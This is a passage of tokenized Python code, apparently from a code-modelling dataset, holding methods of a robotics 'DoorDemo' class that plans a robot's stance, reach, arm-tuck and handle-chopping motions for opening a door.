"cross_", "(_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gra", "sp", "Gro", "und", "Frame_", "=_", "transform", "Utils_", "._", "get", "Transform", "Fro", "m", "Axes_", "(_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gra", "sp", "Gro", "und", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gra", "sp", "Gro", "und", "Frame_", "._", "Translate", "_", "(_", "gra", "sp", "Position_", "[_", "0_", "]_", ",_", "gra", "sp", "Position_", "[_", "1_", "]_", ",_", "ground", "Height_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "position", " ", "=", " ", "[-", "0.75", ",", " ", "0.", "3", ",", " ", "0.", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", "rpy", " ", "=", " ", "[", "0", ",", " ", "0", ",", " ", "-", "30", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "position_", "=_", "[_", "-_", "0.77", "_", ",_", "0.4_", ",_", "0.0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rpy", "_", "=_", "[_", "0_", ",_", "0_", ",_", "-_", "20_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "position_", ",_", "rpy", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Concat", "enat", "e_", "(_", "gra", "sp", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Stan", "ce", "Frame_", "=_", "vis_", "._", "update", "Frame_", "(_", "t_", ",_", "'", "door", " ", "handle", " ", "gra", "sp", " ", "stance", "'_", ",_", "parent_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", ",_", "visible_", "=_", "True_", ",_", "scale_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "self", ".", "frame", "Sync", ".", "add", "Frame", "(", "self", ".", "door", "Handle", "Stan", "ce", "Frame", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "move", "Robot", "To", "Stan", "ce", "Frame_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frame_", "=_", "self_", "._", "door", "Handle", "Stan", "ce", "Frame_", "._", "transform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "sensor", "Joint", "Controller_", "._", "set", "Pose", "_", "(_", "'", "q", "\\u", "nom", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Position_", "=_", "frame_", "._", "Get", "Position_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Orientation_", "=_", "frame_", "._", "Get", "Orientation_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "sensor", "Joint", "Controller_", "._", "q_", "[_", ":_", "2_", "]_", "=_", "[_", "stance", "Position_", "[_", "0_", "]_", ",_", "stance", "Position_", "[_", "1_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sensor", "Joint", "Controller_", "._", "q_", "[_", "5_", "]_", "=_", "math_", "._", "radians_", "(_", "stance", "Orientation_", "[_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sensor", "Joint", "Controller_", "._", "push_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Nomi", "nal_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "start", "Pose", "_", ",_", "'", "General", "'_", ",_", "'", "safe", " ", "nominal", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Stand", "Pose", "_", "(_", "end", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "Plan_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Post", "ure", "Goal", "_", "(_", "start", "Pose", "_", ",_", "end", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "new", "Plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Pre", "Reach", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "High_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "non", "Gra", "spin", "g", "Hand_", "=_", "'", "right", "'_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "'", "left", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "use", "Pin", "ch", "Gra", "sp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "start", "Pose", "_", ",_", "'", "door", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "pre", "-", "reach", " ", "gra", "spin", "g", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "side_", "=_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "start", "Pose", "_", ",_", "'", "door", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "pre", "-", "reach", " ", "chop", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "side_", "=_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "end", "Pose", "_", ",_", "'", "door", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "pre", "-", "reach", " ", "non", "-", "gra", "spin", "g", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "side_", "=_", "non", "Gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Stand", "Pose", "_", "(_", "end", "Pose", "_", ",_", "ik", "Parameters_", "=_", "ik", "Parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "Plan_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Post", "ure", "Goal", "_", "(_", "start", "Pose", "_", ",_", "end", "Pose", "_", ",_", "ik", "Parameters_", "=_", "ik", "Parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "new", "Plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Un", "Reach", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "Low_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "start", "Pose", "_", ",_", "'", "door", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "pre", "-", "reach", " ", "gra", "spin", "g", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "side_", "=_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Stand", "Pose", "_", "(_", "end", "Pose", "_", ",_", "ik", "Parameters_", "=_", "ik", "Parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "Plan_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Post", "ure", "Goal", "_", "(_", "start", "Pose", "_", ",_", "end", "Pose", "_", ",_", "ik", "Parameters_", "=_", "ik", "Parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "new", "Plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Tu", "ck", "Arm", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "High_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "other", "Side_", "=_", "'", "left", "'_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "right", "'_", "else_", "'", "right", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stand", "Pose", "_", ",_", "info_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Stand", "Pose", "_", "(_", "start", "Pose", "_", ",_", "ik", "Parameters_", "=_", "ik", "Parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "q2_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "stand", "Pose", "_", ",_", "'", "door", "'_", ",_", "'", "hand", " ", "up", " ", "tu", "ck", "'_", ",_", "side_", "=_", "other", "Side_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "0.25_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "q2_", "=_", "(_", "1.0_", "-_", "a_", ")_", "*_", "np_", "._", "array_", "(_", "stand", "Pose", "_", ")_", "+_", "a_", "*_", "q2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "q2_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "q2_", ",_", "'", "door", "'_", ",_", "'", "hand", " ", "up", " ", "tu", "ck", "'_", ",_", "side_", "=_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "0.75_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "q2_", "=_", "(_", "1.0_", "-_", "a_", ")_", "*_", "np_", "._", "array_", "(_", "stand", "Pose", "_", ")_", "+_", "a_", "*_", "q2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "stand", "Pose", "_", ",_", "'", "door", "'_", ",_", "'", "hand", " ", "up", " ", "tu", "ck", "'_", ",_", "side_", "=_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "end", "Pose", "_", ",_", "'", "door", "'_", ",_", "'", "hand", " ", "up", " ", "tu", "ck", "'_", ",_", "side_", "=_", "other", "Side_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "Plan_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Multi", "Post", "ure", "Goal", "_", "(_", "[_", "start", "Pose", "_", ",_", "q2_", ",_", "end", "Pose", "_", "]_", ",_", "ik", "Parameters_", "=_", "ik", "Parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "new", "Plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Tu", "ck", "Arm", "s", "Pre", "Push", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "High_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "other", "Side_", "=_", "'", "left", "'_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "right", "'_", "else_", "'", "right", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stand", "Pose", "_", ",_", "info_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Stand", "Pose", "_", "(_", "start", "Pose", "_", ",_", "ik", "Parameters_", "=_", "ik", "Parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "q2_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "stand", "Pose", "_", ",_", "'", "door", "'_", ",_", "'", "hand", " ", "up", " ", "tu", "ck", "'_", ",_", "side_", "=_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "0.25_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "q2_", "=_", "(_", "1.0_", "-_", "a_", ")_", "*_", "np_", "._", "array_", "(_", "stand", "Pose", "_", ")_", "+_", "a_", "*_", "q2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "q2_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "q2_", ",_", "'", "door", "'_", ",_", "'", "hand", " ", "up", " ", "tu", "ck", "'_", ",_", "side_", "=_", "other", "Side_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "0.75_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "q2_", "=_", "(_", "1.0_", "-_", "a_", ")_", "*_", "np_", "._", "array_", "(_", "stand", "Pose", "_", ")_", "+_", "a_", "*_", "q2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "stand", "Pose", "_", ",_", "'", "door", "'_", ",_", "'", "hand", " ", "up", " ", "tu", "ck", "'_", ",_", "side_", "=_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "end", "Pose", "_", ",_", "'", "door", "'_", ",_", "'", "hand", " ", "up", " ", "tu", "ck", "'_", ",_", "side_", "=_", "other", "Side_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "Plan_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Multi", "Post", "ure", "Goal", "_", "(_", "[_", "start", "Pose", "_", ",_", "q2_", ",_", "end", "Pose", "_", "]_", ",_", "ik", "Parameters_", "=_", "ik", "Parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "new", "Plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Cho", "p_", "(_", "self_", ",_", "delta", "Z_", "=_", "None_", ",_", "delta", "Y_", "=_", "None_", ",_", "delta", "X_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "delta", "Z_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delta", "Z_", "=_", "self_", "._", "chop", "Distance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "delta", "Y_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delta", "Y_", "=_", "self_", "._", "chop", "Side", "way", "s", "Distance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "delta", "X_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delta", "X_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "link", "Off", "set", "Frame_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Pal", "m", "To", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hand", "Link", "Name_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "Frame_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Link", "Frame", "At", "Pose", "_", "(_", "hand", "Link", "Name_", ",_", "start", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "To", "Start", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "delta", "Z_", ",_", "-_", "delta", "X_", ",_", "-_", "delta", "Y_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Frame_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "end", "To", "Start", "Transform_", ",_", "start", "Frame_", "]_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vis_", "._", "update", "Frame_", "(_", "end", "Frame_", ",_", "'", "debug", " ", "chop", "'_", ",_", "parent_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", ",_", "visible_", "=_", "False_", ",_", "scale_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pal", "m", "To", "Wor", "ld", "1_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "link", "Off", "set", "Frame_", ",_", "start", "Frame_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pal", "m", "To", "Wor", "ld", "2_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "link", "Off", "set", "Frame_", ",_", "end", "Frame_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "constraint", "Set_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "plan", "End", "Effe", "ctor", "Goal", "_", "(_", "start", "Pose", "_", ",_", "self_", "._", "gra", "spin", "g", "Hand_", ",_", "pal", "m", "To", "Wor", "ld", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "nominal", "Pose", "Name_", "=_", "'", "q", "\\u", "start", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "Low_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number", "Of", "Added", "Kno", "ts_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "constraint", "Set_", "._", "run", "Ik", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "moti", "on", "Vector_", "=_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "2_", "._", "Get", "Position_", "(_", ")_", ")_", "-_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "1_", "._", "Get", "Position_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "moti", "on", "Target", "Frame_", "=_", "transform", "Utils_", "._", "get", "Transform", "Fro", "m", "Orig", "in", "And", "Normal_", "(_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "2_", "._", "Get", "Position_", "(_", ")_", ")_", ",_", "moti", "on", "Vector_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Line", "Position", "Constraint_", "(_", "hand", "Link", "Name_", ",_", "link", "Off", "set", "Frame_", ",_", "moti", "on", "Target", "Frame_", ",_", "line", "Axis_", "=_", "2_", ",_", "bounds_", "=_", "[_", "-_", "np_", "._", "linalg_", "._", "norm_", "(_", "moti", "on", "Vector_", ")_", ",_", "0.0_", "]_", ",_", "position", "Tolerance", "_", "=_", "0.001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "constraints_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plan_", "=_", "constraint", "Set_", "._", "run", "Ik", "Tra", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop", "Push", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plan_", "=_", "self_", "._", "robot", "System_", "._", "ik", "Plann", "er_", "._", "compute", "Post", "ure", "Goal", "_", "(_", "start", "Pose", "_", ",_", "start", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "commit", "Mani", "p", "Plan_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Reach", "_", "(_", "self_", ",_", "reach", "Target", "Frame_", "=_", "None_", ",_", "joint", "Spee", "d", "Limit_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "reach", "Target", "Frame_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reach", "Target", "Frame_", "=_", "self_", "._", "door", "Handle", "Reach", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "joint", "Spee", "d", "Limit_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "joint", "Spee", "d", "Limit_", "=_", "self_", "._", "speed", "Low_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "plan", "End", "Effe", "ctor", "Goal", "_", "(_", "start", "Pose", "_", ",_", "self_", "._", "gra", "spin", "g", "Hand_", ",_", 